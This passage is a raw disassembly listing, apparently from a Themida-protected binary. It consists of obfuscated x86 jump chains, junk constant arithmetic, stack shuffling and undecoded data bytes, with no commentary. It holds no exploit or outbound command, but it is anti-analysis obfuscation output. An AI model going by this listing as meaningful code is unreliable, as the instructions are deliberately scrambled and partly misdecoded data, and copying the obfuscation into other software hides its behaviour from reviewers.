		push	small 1FCAh
		mov	[esp], si
		jmp	loc_557DDD
; ---------------------------------------------------------------------------

loc_568AFF:				; CODE XREF: Themida_:00568417j
		mov	[esp], eax
		jmp	loc_562F98
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_566293
; ---------------------------------------------------------------------------

loc_568B10:				; CODE XREF: Themida_:0055AD27j
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		add	ecx, 0A44C55E7h
		jmp	loc_5570D2
; ---------------------------------------------------------------------------

loc_568B21:				; CODE XREF: Themida_:0055A695j
		mov	ecx, [esp]
		jmp	loc_5576AD
; ---------------------------------------------------------------------------

loc_568B29:				; CODE XREF: Themida_:00556C32j
		pop	ebp
		push	edi
		jmp	loc_562981
; ---------------------------------------------------------------------------

loc_568B30:				; CODE XREF: Themida_:0056624Aj
		mov	[esp], ecx
		mov	ecx, 53017309h
		xor	ecx, 46823F1Fh
		or	eax, ecx
		pop	ecx
		inc	eax
		js	loc_55B247
		push	ecx
		mov	ecx, 3DBF4E7Eh
		jmp	loc_561E44
; ---------------------------------------------------------------------------
		db 83h
		dd 0EFC004C4h, 6DF78006h, 285BFE88h, 6685AF0h, 89000065h
		dd 6DB7241Ch, 0E9ADE780h, 0FFFF0CBBh
; ---------------------------------------------------------------------------

loc_568B74:				; CODE XREF: Themida_:00564476j
		xor	eax, [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_568B83:				; CODE XREF: Themida_:00557D29j
		add	eax, 7C0F1A36h
		sub	eax, edx
		jmp	loc_566F72
; ---------------------------------------------------------------------------

loc_568B8F:				; CODE XREF: Themida_:005603B1j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	ebx, edx
		jmp	loc_569D50
; ---------------------------------------------------------------------------

loc_568BA8:				; CODE XREF: Themida_:0056C459j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	eax, ebx
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 6E7328AFh
		jmp	loc_55D1AD
; ---------------------------------------------------------------------------

loc_568BC2:				; CODE XREF: Themida_:0056A777j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_568BC7:				; CODE XREF: Themida_:00560FC9j
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55B8FC
; ---------------------------------------------------------------------------

loc_568BD8:				; CODE XREF: Themida_:00556C01j
		xor	ch, al
		jmp	loc_55F9C5
; ---------------------------------------------------------------------------

loc_568BDF:				; CODE XREF: Themida_:00557E6Fj
		add	esi, ebx
		sub	esi, 75667A65h
		pop	ebx
		sub	esi, 48893315h
		add	esi, edi
		add	esi, 48893315h
		sub	esi, 60C55D59h
		pop	edi
		push	edi
		push	22DCh
		jmp	loc_560239
; ---------------------------------------------------------------------------
		dd 4299E581h, 0BF575FD3h, 1EE22967h, 74E78147h,	4F19DF3Eh
		dd 8F3EF81h, 22E94648h,	83FFFFACh, 29E904C4h, 89FFFFD1h
		dd 243C8BFEh, 0E904C483h, 0FFFF4C84h, 0B850h, 0F0290000h
		dd 0DEF75896h, 0FF47A4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568C4D:				; CODE XREF: Themida_:00556BF6j
		add	ebp, edx
		sub	ebp, 768A2057h
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_561839
; ---------------------------------------------------------------------------

loc_568C61:				; CODE XREF: Themida_:0055F80Fj
		mov	esi, 4
		add	ecx, esi
		pop	esi
		jmp	loc_55C2C4
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFFD435h
; ---------------------------------------------------------------------------

loc_568C74:				; CODE XREF: Themida_:0055D957j
		pop	eax
		add	ebp, 4D693803h
		dec	ebp
		not	ebp
		jmp	loc_55A9D5
; ---------------------------------------------------------------------------

loc_568C83:				; CODE XREF: Themida_:0056112Ej
		add	esi, 4
		jmp	loc_563877
; ---------------------------------------------------------------------------

loc_568C8E:				; CODE XREF: Themida_:0055BB06j
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_568C93:				; CODE XREF: Themida_:0056AF4Ej
		mov	edi, eax
		pop	eax
		xor	edi, 68BA308Bh
		push	607Fh
		jmp	loc_55CB5A
; ---------------------------------------------------------------------------

loc_568CA6:				; CODE XREF: Themida_:0055B370j
		jno	loc_56431C
		add	esi, 0EFD3C0E3h
		push	ecx
		mov	ecx, 7C185FDDh
		sub	eax, ecx
		pop	ecx

loc_568CBB:				; CODE XREF: Themida_:0055CBE6j
		pop	ebx
		add	edi, 0A4F6FD5Bh
		sub	eax, 31F77638h
		add	eax, edi
		add	eax, 31F77638h
		pop	edi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_55ABEC
; ---------------------------------------------------------------------------

loc_568CE3:				; CODE XREF: Themida_:00556658j
		jmp	loc_56CAB0
; ---------------------------------------------------------------------------

loc_568CE8:				; CODE XREF: Themida_:0056774Cj
		add	ebx, edi
		pop	edi
		push	1E3Fh
		mov	[esp], ebx
		push	eax
		mov	eax, 231C62F3h
		xor	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		jmp	loc_55CB43
; ---------------------------------------------------------------------------

loc_568D06:				; CODE XREF: Themida_:0055D98Cj
		add	eax, 85C548F8h
		add	edx, eax
		pop	eax
		shl	edx, 5
		jmp	loc_56AD7E
; ---------------------------------------------------------------------------

loc_568D16:				; CODE XREF: Themida_:0055BFF4j
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56D4FC
; ---------------------------------------------------------------------------
		db 68h
		dd 16D7h, 52241C89h, 10DFE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_568D56:				; CODE XREF: Themida_:0055932Aj
		push	33A2h
		mov	[esp], eax
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_568D63:				; CODE XREF: Themida_:00558436j
		mov	esp, [esp]
		jmp	loc_564248
; ---------------------------------------------------------------------------

loc_568D6B:				; CODE XREF: Themida_:0055F501j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5595E5
; ---------------------------------------------------------------------------

loc_568D78:				; CODE XREF: Themida_:00561A13j
		inc	esi
		and	esi, 28680067h
		sub	esi, 0E836FA3Ah
		add	edx, esi
		pop	esi
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	1
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_562DAC
; ---------------------------------------------------------------------------

loc_568DAC:				; CODE XREF: Themida_:0056937Ej
		xor	ecx, 7C5E55C7h
		jmp	loc_55B972
; ---------------------------------------------------------------------------

loc_568DB7:				; CODE XREF: Themida_:0055F876j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_56956B
; ---------------------------------------------------------------------------

loc_568DC0:				; CODE XREF: Themida_:0055DE90j
		shr	bh, 2
		shl	bh, 3
		xor	bh, 80h
		push	ebx
		mov	bh, 53h
		jmp	loc_564E85
; ---------------------------------------------------------------------------

loc_568DD1:				; CODE XREF: Themida_:0055F114j
		and	ebp, ebx
		pop	ebx
		xor	ebp, 3A7D4914h
		xor	eax, ebp
		pop	ebp
		jmp	loc_56A3BC
; ---------------------------------------------------------------------------

loc_568DE2:				; CODE XREF: Themida_:005699B0j
		xor	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 19590585h
		sub	edx, 0BD10E464h
		add	eax, edx
		pop	edx
		add	eax, esi
		sub	eax, 5C482121h
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55F6E2
; ---------------------------------------------------------------------------

loc_568E15:				; CODE XREF: Themida_:0056D2C2j
		mov	bl, 0E9h
		dec	bl
		add	bl, 0BEh
		jb	loc_55ADA5
		dec	bl
		jo	loc_567477
		jmp	loc_56113A
; ---------------------------------------------------------------------------
		db 8Ah
		dd 549E05CFh, 98E9468Dh
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_568E3B:				; CODE XREF: Themida_:0055C34Fj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	eax
		jmp	loc_569CE4
; ---------------------------------------------------------------------------

loc_568E48:				; CODE XREF: Themida_:005601E2j
		sub	edi, eax
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		jmp	loc_568AEF
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0ECh
		dd 4, 0FFD803E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568E65:				; CODE XREF: Themida_:0055805Aj
		add	esp, 4
		jmp	loc_559A76
; ---------------------------------------------------------------------------

loc_568E6D:				; CODE XREF: Themida_:00556637j
		add	ebp, 4
		jmp	loc_558764
; ---------------------------------------------------------------------------
		dd 2908F181h, 0A0E93935h
		db 0, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_568E83:				; CODE XREF: Themida_:005585CDj
		xchg	ebp, [esp]
		jmp	loc_56B606
; ---------------------------------------------------------------------------
byte_568E8B	db 8Bh			; DATA XREF: Themida_:005560E8o
		dd 54552404h, 9F0BE95Dh, 5B59FFFFh, 7370C12Dh, 8E0EE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568EA2:				; CODE XREF: Themida_:0055DFFAj
					; Themida_:005643FAj
		mov	ebp, 75440D74h
		jmp	loc_562B1E
; ---------------------------------------------------------------------------
		dd 336FED81h, 0F501527Ah, 336FC581h, 0E95E527Ah, 0FFFEDDB2h
		dd 0E908E1C1h, 0FFFF44F7h
; ---------------------------------------------------------------------------

loc_568EC8:				; CODE XREF: Themida_:00562688j
		sub	edx, 2BA02C9Ch
		add	edx, ebp
		add	edx, 2BA02C9Ch
		push	esi
		mov	esi, 109C41D7h
		sub	esi, 43730371h
		shr	esi, 1
		neg	esi
		xor	esi, 735F0BDAh
		sub	esi, 0AAA34332h
		add	edx, esi
		pop	esi
		jmp	loc_55E883
; ---------------------------------------------------------------------------
		dw 8B66h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55730B
; ---------------------------------------------------------------------------

loc_568F06:				; CODE XREF: Themida_:005615BAj
		pop	bx
		push	0
		sub	[esp], ah
		mov	ah, [esp]
		add	esp, 4
		xor	ah, 74h
		sub	bl, 0BAh
		jmp	loc_55D589
; ---------------------------------------------------------------------------

loc_568F21:				; CODE XREF: Themida_:0055F90Ej
		jmp	loc_5571ED
; ---------------------------------------------------------------------------

loc_568F26:				; CODE XREF: Themida_:0056B9C1j
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 76DF6781h
		mov	esi, 43001662h
		xor	esi, ebp
		pop	ebp
		jmp	loc_55EAB9
; ---------------------------------------------------------------------------

loc_568F42:				; CODE XREF: Themida_:00563074j
		mov	ecx, 64EC1F0Eh
		and	ecx, 714B4775h
		inc	ecx
		shl	ecx, 7
		not	ecx
		shr	ecx, 5
		jmp	loc_5644E2
; ---------------------------------------------------------------------------

loc_568F5B:				; CODE XREF: Themida_:0055F433j
					; Themida_:00562B07j
		add	edx, 2FD77CCAh
		jmp	loc_5661D4
; ---------------------------------------------------------------------------

loc_568F66:				; CODE XREF: Themida_:0056CD14j
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_56A770
; ---------------------------------------------------------------------------

loc_568F71:				; CODE XREF: Themida_:00557E03j
		sub	esi, 22A6269Fh
		add	ecx, esi
		pop	esi
		sub	edx, ecx
		push	dword ptr [esp]
		jmp	loc_56B9F3
; ---------------------------------------------------------------------------

loc_568F84:				; CODE XREF: Themida_:0055E069j
		inc	esi
		add	esi, 0C466BD3h
		sub	esi, 0CB947A6h
		push	eax
		mov	eax, 26F41F09h
		shr	eax, 3
		shl	eax, 6
		or	eax, 6E057E40h
		jmp	loc_567AFB
; ---------------------------------------------------------------------------
aLVs		db '▀,$VИ>:',0
		align 10h

loc_568FB0:				; CODE XREF: Themida_:0055F820j
		xchg	ecx, esi
		inc	esi
		jnp	loc_5622DD
		and	esi, 2E695E0Ch
		mov	dl, 0C4h
		mov	edx, ebx

loc_568FC3:				; CODE XREF: Themida_:00559899j
		push	730744C4h
		jmp	loc_561904
; ---------------------------------------------------------------------------

loc_568FCD:				; CODE XREF: Themida_:00566AA7j
		mov	bl, ch
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		sub	al, 0E8h
		sub	al, bl
		add	al, 0E8h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_55E004
; ---------------------------------------------------------------------------
byte_568FF7	db 66h			; DATA XREF: Themida_:00556014o
		dd 53240C8Bh, 0FF7A39E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569001:				; CODE XREF: Themida_:00564A46j
		xor	eax, 752960C2h
		and	eax, 54AA7257h
		not	eax
		sub	eax, 0FFFFFFFFh
		sub	eax, 930C8AB8h
		sub	ebx, eax
		pop	eax
		add	ebx, edi
		push	edx
		mov	edx, 2C531343h
		add	ebx, edx
		pop	edx
		pop	edi
		add	ebx, 2
		push	22CAh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56AC9C
; ---------------------------------------------------------------------------

loc_569042:				; CODE XREF: Themida_:00557061j
		pop	edx
		or	edi, esi
		mov	esi, [esp]
		jmp	loc_556FCA
; ---------------------------------------------------------------------------

loc_56904D:				; CODE XREF: Themida_:005682F0j
		mov	[esp], ebx
		jmp	loc_55C787
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 0E9000000h, 0FFFF20C4h, 8904EC83h, 0B951243Ch, 4DEB3394h
		dd 8159CF89h, 2BC3B7EFh, 86B9514Bh, 2938AB3Dh, 0FB2959CBh
		dd 3D86B850h, 0EB8138ABh, 238F0F93h, 0C381C301h, 238F0F93h
		dd 243C8B58h, 5604C483h, 0A0504CBEh, 2DBA5265h,	81304916h
		dd 0D3464C6h, 81D62911h, 0D3464EEh, 0DAD9E911h
		db 2 dup(0FFh)
word_5690BA	dw 8B66h		; DATA XREF: Themida_:00556060o
		dd 0A968240Ch, 89000020h, 5B54241Ch, 4C381h, 50550000h
		dd 0FED6B7E9h, 0FDBF7FFh, 20278Eh, 0EB814300h, 868F4DE4h
		dd 5D5BDA89h, 0E9240489h, 0FFFF6DAFh
; ---------------------------------------------------------------------------

loc_5690F0:				; CODE XREF: Themida_:00569E25j
		pop	edi
		shl	esi, 7
		jmp	loc_566DDF
; ---------------------------------------------------------------------------
		db 0E9h, 46h, 3Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5690FE:				; CODE XREF: Themida_:0055C0BBj
		neg	ebx
		add	ebx, 6693354h
		shl	ebx, 1
		sub	ebx, 2D682E03h
		or	esi, ebx
		jmp	loc_55FE8B
; ---------------------------------------------------------------------------

loc_569115:				; CODE XREF: Themida_:0056418Aj
					; Themida_:0056B34Fj
		inc	ecx
		and	ecx, 72555080h
		xor	ecx, 20451084h
		add	ebp, ecx
		pop	ecx
		jmp	loc_55D985
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 0E9000000h, 0FFFF91E1h
; ---------------------------------------------------------------------------

loc_569138:				; CODE XREF: Themida_:0056829Bj
		sub	al, 0A9h
		add	al, bh
		add	al, 0A9h
		sub	al, 64h
		jmp	loc_56797D
; ---------------------------------------------------------------------------

loc_569145:				; CODE XREF: Themida_:00565BA1j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_564174
; ---------------------------------------------------------------------------

loc_569153:				; CODE XREF: Themida_:0056A612j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5609E6
; ---------------------------------------------------------------------------

loc_56915E:				; CODE XREF: Themida_:0055C201j
		add	ebp, 0D161B37h
		jmp	loc_55A5E3
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4BA5200h, 1000000h, 0BFE95AD1h, 4BFFFF61h, 0C0278B0Fh
		dd 0DBF7FFFFh, 1E08E9h
		db 0
; ---------------------------------------------------------------------------

loc_56918D:				; CODE XREF: Themida_:005591ACj
		pop	esp
		mov	[esp], ecx
		jmp	loc_55FBBE
; ---------------------------------------------------------------------------
aBsydBsgwzH?	db '[│АyD°-│Иgw╖$hь?',0
		align 4
		dd 0E9242C89h, 0FFFF8EDAh
; ---------------------------------------------------------------------------

loc_5691B0:				; CODE XREF: Themida_:00559151j
		jbe	loc_56C524
		sub	esp, 4
		mov	[esp], esi
		push	20054B8Fh
		mov	esi, [esp]
		jmp	loc_564752
; ---------------------------------------------------------------------------

loc_5691C9:				; CODE XREF: Themida_:0056397Cj
		push	ecx
		jmp	loc_562FD8
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2E44E900h, 0EE81FFFFh,	6E081B9Ch, 0FF8399E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5691E5:				; CODE XREF: Themida_:0055D791j
		pop	ecx
		or	cl, 92h
		jmp	loc_55CB38
; ---------------------------------------------------------------------------

loc_5691EE:				; CODE XREF: Themida_:0056A207j
		sub	esi, edi
		add	esi, 9FA5E48h
		jmp	loc_56628A
; ---------------------------------------------------------------------------
		db 0B8h
		dd 30FC3D57h, 0B6330C0Dh, 41823572h, 3F2D2AC8h,	0E9198F5Ch
		dd 0FFFF685Fh
; ---------------------------------------------------------------------------

loc_569214:				; CODE XREF: Themida_:0055F611j
		pop	esp
		xchg	eax, [esp]
		pop	esp
		jmp	loc_56470C
; ---------------------------------------------------------------------------

loc_56921E:				; CODE XREF: Themida_:005640AFj
		js	loc_5612BB
		jmp	loc_565244
; ---------------------------------------------------------------------------

loc_569229:				; CODE XREF: Themida_:00561277j
		mov	eax, 0F76D9CE7h
		add	esi, eax
		pop	eax
		mov	edi, esi
		pop	esi
		or	edi, 164A6BB3h
		xor	edi, 177E6BB3h
		add	ecx, edi
		pop	edi
		jmp	loc_56B018
; ---------------------------------------------------------------------------

loc_569248:				; CODE XREF: Themida_:0055F9E5j
		mov	ecx, 2
		sub	edx, 9E66F11h
		sub	edx, ecx
		push	ebx
		jmp	loc_56D438
; ---------------------------------------------------------------------------

loc_56925B:				; CODE XREF: Themida_:0055E9CCj
		pop	eax
		add	edx, 2DE73F4Eh
		shr	edx, 2
		jmp	loc_558E12
; ---------------------------------------------------------------------------

loc_56926A:				; CODE XREF: Themida_:00558730j
					; Themida_:00566A8Fj
		pop	edi
		push	esi
		push	79B63750h
		jmp	loc_56168D
; ---------------------------------------------------------------------------

loc_569276:				; CODE XREF: Themida_:0056081Fj
		shl	ebp, 7
		add	ebp, 2A2B7313h
		sub	ebp, 0D84D0EE3h
		add	eax, ebp
		pop	ebp
		inc	eax
		push	ebp
		mov	ebp, 30775018h
		shr	ebp, 6
		jmp	loc_56A8FB
; ---------------------------------------------------------------------------

loc_569297:				; CODE XREF: Themida_:00559F34j
					; Themida_:00568AC4j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esi, 68055DEh
		sub	esi, ebp
		sub	esi, 68055DEh
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_5676D4
; ---------------------------------------------------------------------------

loc_5692B8:				; CODE XREF: Themida_:0055C0C7j
					; Themida_:00566378j
		mov	ah, ch
		mov	dl, ah
		pop	eax
		pop	ecx
		jmp	loc_567303
; ---------------------------------------------------------------------------
byte_5692C3	db 66h			; DATA XREF: Themida_:005561B4o
		dd 6824048Bh, 44D0h, 89243489h,	0DEE953E6h
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5692D7:				; CODE XREF: Themida_:0055A4A3j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_55639C
; ---------------------------------------------------------------------------

loc_5692E5:				; CODE XREF: Themida_:0055BA00j
		sub	ebx, 3D546ED0h
		sub	ebx, 34561A8Fh
		add	ebx, eax
		add	ebx, 34561A8Fh
		jmp	loc_56408A
; ---------------------------------------------------------------------------

loc_5692FE:				; CODE XREF: Themida_:00560829j
		inc	ebx
		add	ebx, 33A773FBh
		dec	ebx
		not	ebx
		push	esi
		mov	esi, 0D167337h
		add	ebx, esi
		pop	esi
		jmp	loc_5568DD
; ---------------------------------------------------------------------------
word_569316	dw 4ACh			; DATA XREF: Themida_:00556114o
		dd 66D800D2h, 66473B68h, 0B6241489h, 0D1E953D2h
		db 0DBh, 2 dup(0FFh)
byte_56932B	db 66h			; DATA XREF: Themida_:00556028o
		dd 5624048Bh, 0C6815E54h, 4, 8704EE83h,	895C2434h, 0E0E9241Ch
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_569347:				; CODE XREF: Themida_:0056093Bj
		jnb	loc_56C5D9
		shl	edi, 4
		js	loc_55B4CF
		shr	edi, 1
		jp	loc_56AACD
		xor	edi, 3A715714h
		push	ecx
		mov	ecx, 73810606h
		push	ecx
		inc	eax
		jp	loc_5593B4
		xor	eax, 14F21574h
		inc	eax
		jmp	loc_560408
; ---------------------------------------------------------------------------

loc_56937D:				; CODE XREF: Themida_:loc_566CE2j
		inc	ecx
		jnp	loc_568DAC
		xor	ecx, 7C5E55C7h
		mov	ebp, esi
		add	al, 0BDh
		push	3DB7h
		jmp	loc_56C481
; ---------------------------------------------------------------------------

loc_569398:				; CODE XREF: Themida_:00562ECAj
		or	eax, 53A127B2h
		jle	loc_567887
		add	eax, 192212Fh
		jmp	loc_56B557
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 0BBh
		dd 81FFFF49h, 2C3h, 241C8700h, 0E924248Bh, 0FFFF0D2Ch
; ---------------------------------------------------------------------------

loc_5693C4:				; CODE XREF: Themida_:005590BEj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 465C12A8h
		shl	esi, 1
		not	esi
		shr	esi, 3
		xor	esi, 636932D0h
		neg	esi
		push	eax
		jmp	loc_55F004
; ---------------------------------------------------------------------------

loc_5693F6:				; CODE XREF: Themida_:0055ACD0j
		push	7483h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_56249A
; ---------------------------------------------------------------------------

loc_569417:				; CODE XREF: Themida_:00562D4Aj
		jge	loc_55B76F
		and	ebx, 32F309DEh
		sub	ebx, 0BEC6D0B7h

loc_569429:				; CODE XREF: Themida_:0055740Cj
		shr	dh, 2
		jmp	loc_55AD3D
; ---------------------------------------------------------------------------

loc_569431:				; CODE XREF: Themida_:0055CFCDj
		push	ebx
		mov	ebx, 6E9704C6h
		mov	eax, ebx
		pop	ebx
		sub	eax, 24BA167Dh
		jmp	loc_55CCF9
; ---------------------------------------------------------------------------
dword_569444	dd 3851E9ACh, 0B951FFFFh, 4, 8159C801h,	4ECh, 241C8900h
					; DATA XREF: Themida_:0055611Co
		dd 0C379CD68h, 0CB815B09h, 5161CDFh, 450E68h, 243C8900h
		dd 0BFh, 20EF8100h, 29248567h, 20C781DFh, 57248567h, 243C8B5Bh
		dd 0FEE679E9h, 1AEB81FFh, 81170F19h, 843A5C3h, 883EE945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56949E:				; CODE XREF: Themida_:0055A2C3j
					; Themida_:00566BD7j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edi, 3E96645Dh
		mov	ebx, edi
		jmp	loc_559F44
; ---------------------------------------------------------------------------
		dd 4EC81h, 7E90000h
		db 0EBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5694C3:				; CODE XREF: Themida_:loc_556CFFj
		sub	ebx, 6DB7183Dh
		jmp	loc_55FDAD
; ---------------------------------------------------------------------------
word_5694CE	dw 8B66h		; DATA XREF: Themida_:005560FCo
		dd 14E9240Ch
		db 37h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5694D7:				; CODE XREF: Themida_:0055848Dj
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5601F1
; ---------------------------------------------------------------------------
		dd 7BB9515Ah, 0E95D211Ch, 0FFFF059Bh
; ---------------------------------------------------------------------------

loc_5694F4:				; CODE XREF: Themida_:00560B8Cj
		push	edx
		jmp	loc_55667B
; ---------------------------------------------------------------------------
word_5694FA	dw 53ACh		; DATA XREF: Themida_:0055617Co
		dd 0F3808EB3h, 8BD80010h, 1DE9241Ch
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56950B:				; CODE XREF: Themida_:005572AFj
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
		dd 8124248Bh, 4C5h, 4EC8100h, 89000000h, 42E92404h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569527:				; CODE XREF: Themida_:005603BDj
		mov	ebx, 0
		push	8Dh
		jmp	loc_566902
; ---------------------------------------------------------------------------

loc_569536:				; CODE XREF: Themida_:0056955Bj
		jmp	loc_55AD3D
; ---------------------------------------------------------------------------

loc_56953B:				; CODE XREF: Themida_:loc_5629B7j
		push	ecx
		mov	ecx, 458616Eh
		jmp	loc_56A68F
; ---------------------------------------------------------------------------

loc_569546:				; CODE XREF: Themida_:00558E59j
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		jmp	loc_561859
; ---------------------------------------------------------------------------

loc_569558:				; CODE XREF: Themida_:loc_55DF0Bj
		shr	eax, 8
		jp	loc_569536
		jmp	loc_55F440
; ---------------------------------------------------------------------------
		dw 0C651h
		db 0C3h, 21h, 58h
; ---------------------------------------------------------------------------

loc_56956B:				; CODE XREF: Themida_:00568DBBj
		push	ecx
		jmp	loc_56713D
; ---------------------------------------------------------------------------

loc_569571:				; CODE XREF: Themida_:0056B753j
		mov	ah, dl
		mov	ch, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_563184
; ---------------------------------------------------------------------------

loc_569583:				; CODE XREF: Themida_:00558BCBj
		mov	edx, [esp]
		add	esp, 4
		push	3279h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558674
; ---------------------------------------------------------------------------

loc_5695A2:				; CODE XREF: Themida_:00567ECDj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	319Fh
		jmp	loc_563A4E
; ---------------------------------------------------------------------------

loc_5695BA:				; CODE XREF: Themida_:00557044j
		push	dword ptr [esp]
		jmp	loc_56782F
; ---------------------------------------------------------------------------
word_5695C2	dw 77FFh		; DATA XREF: Themida_:00556104o
		dd 59669D1Ch, 2414D366h, 0CD15E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5695D2:				; CODE XREF: Themida_:0055C948j
		add	ebp, ecx
		push	edi
		mov	edi, 3E90351Ch
		xor	edi, 3DCC7FF5h
		jmp	loc_55888C
; ---------------------------------------------------------------------------

loc_5695E5:				; CODE XREF: Themida_:loc_5677C3j
		shl	ecx, 4
		push	edx
		mov	edx, 16485144h
		sub	ecx, 319D6BE9h
		add	ecx, 6CC31D96h
		add	ecx, edx
		sub	ecx, 6CC31D96h
		add	ecx, 319D6BE9h
		pop	edx
		jmp	loc_55FB8D
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 0FEFCBDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569615:				; CODE XREF: Themida_:0056199Aj
		pop	ebp
		push	ecx
		mov	ecx, 78E81376h
		jmp	loc_5592F9
; ---------------------------------------------------------------------------

loc_569621:				; CODE XREF: Themida_:0056B2D9j
		shl	ebp, 6
		and	ebp, 76A00009h
		push	eax
		jmp	loc_567F4A
; ---------------------------------------------------------------------------

loc_569630:				; CODE XREF: Themida_:00560332j
		xor	edi, 3BBF6364h
		push	edx
		jmp	loc_558585
; ---------------------------------------------------------------------------

loc_56963C:				; CODE XREF: Themida_:00559514j
		push	edi
		push	esi
		push	86605AFh
		jmp	loc_567C49
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 7CE8BB24h, 0F7534AA5h, 815B2414h
		dd 6751C5F3h, 6E3C145h,	0FF55BFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569669:				; CODE XREF: Themida_:00568AEAj
		pop	ebx
		sub	eax, 37265650h
		add	eax, ecx
		add	eax, 37265650h
		pop	ecx
		jmp	loc_56BDB5
; ---------------------------------------------------------------------------
		dd 1EF815Fh, 0F7000000h, 3EFC1D7h, 707B850Fh, 0C781FFFFh
		dd 30099BBAh, 0FFFD98E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569699:				; CODE XREF: Themida_:0055C406j
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 74B22DD6h
		neg	ecx
		shr	ecx, 4
		or	ecx, 230D10CCh
		push	edx
		mov	edx, 73A7CE1Dh
		xor	ecx, edx
		pop	edx
		sub	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esi, 211B775Dh
		jmp	loc_566175
; ---------------------------------------------------------------------------

